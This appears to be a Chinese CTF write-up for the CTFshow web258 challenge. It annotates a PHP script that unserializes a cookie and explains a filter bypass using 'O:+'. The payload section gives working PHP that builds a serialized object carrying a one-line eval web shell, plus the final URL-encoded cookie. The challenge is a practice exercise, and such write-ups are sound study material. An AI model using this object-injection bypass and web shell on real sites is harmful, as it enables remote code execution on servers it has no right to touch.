一、代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){ # 4. 这里涉及到了魔法函数,当对象创建时触发,
$this->class=new info(); # 6. 如果把new info修改成 new backDoor对象,就可以触发backDoor对象里的eval函数。
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){ # 5. 当对象销毁时触发。
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code; # 7. 修改$code为,一句话木马,搭配eval来执行。
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){ # # 1. 判断username和password是否有值。
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ # 1.1 匹配cookie里的user是否有c:或者o:,如果有就退出。
$user = unserialize($_COOKIE['user']); # 2. 反序列化cookie里的user
}
$user->login($username,$password); # 3. 调用对象user里的login函数
}
二、解题步骤
- 这道题目与web257解题大概一致,不过需要主要的是
private
和public
两种属性。 - 还需要注意的地方,就是对过
o:或c:
进行了过滤。
三、payload
<?php
class ctfShowUser{
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code = 'eval($_POST[xxx]);';
public function getInfo(){
eval($this->code);
}
}
$user = new ctfShowUser();
$user = serialize($user);
$user = str_replace("O:","O:+",$user);
echo urlencode($user);
//
O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A18%3A%22eval%28%24_POST%5Bxxx%5D%29%3B%22%3B%7D%7D
标签:username,password,web258,3A%,class,user,序列化,public,CTFshow
From: https://www.cnblogs.com/LuckMeteor/p/17087031.html